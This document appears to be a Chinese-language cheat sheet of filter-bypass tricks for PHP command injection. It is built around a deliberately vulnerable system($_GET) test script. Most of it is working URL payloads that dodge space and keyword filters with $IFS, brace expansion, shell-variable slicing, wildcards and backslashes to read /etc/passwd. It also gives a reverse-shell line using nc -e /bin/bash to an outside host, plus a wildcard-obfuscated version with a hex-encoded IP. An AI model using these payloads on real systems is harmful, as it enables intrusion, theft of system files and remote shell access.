【命令执行】绕过姿势总结

PHP挖到命令注入的时候经常会发现有过滤的情况,下面总结师傅们的一些经验。

测试代码:

<?php   system($_GET[‘a’]);?>

 

0x01 空格


1)使用$IFS

http://192.168.192.120/command.php?a=cat$IFS/etc/issue

2){ls,-l,/}

http://192.168.192.120/command.php?a={cat,/etc/passwd}

3)使用Tab

http://192.168.192.120/command.php?a=cat%09/etc/passwd

 

0x02 关键字


1)利用系统环境变量

[root@server120 html]# echo ${SHELLOPTS}

braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor

[root@server120 html]# echo ${SHELLOPTS:3:1}

c

http://192.168.192.120/command.php?a=${SHELLOPTS:3:1}at${IFS}/etc/passwd

2)利用空变量绕过

http://192.168.192.120/command.php?a=cat%20/etc/pas${x}swd

3)字符拼接绕过

http://192.168.192.120/command.php?a=a=l;b=s;$a$b

4)Linux下利用通配符?和*

平时操作Linux时经常会用到通配符,例如列出当前目录下的jsp文件

[root@template tmp]# ls *.jsp

123.jsp  xx.jsp

同样在过滤了关键字的情况下,也可以利用通配符绕过,例如输入过滤了/etc/passwd,使用通配符绕过

http://192.168.192.239/command.php?a=%2fbin%2fcat$IFS%2f???%2f???s??

反弹shell测试(需要关闭Selinux,不然反弹不成功)

/bin/nc 192.168.192.144 2345 -e /bin/bash

然后用通配符替换关键字,IP地址转换为16进制。

/b??/?c 3232284816 2345 -e /???/b??h

5)使用\绕过

http://192.168.192.239/command.php?a=/b\in/c\a\t%20/e\tc/p\ass\wd

 

0x03连接符


1)&&

2)||

3)%0a

4);

5)&

6)|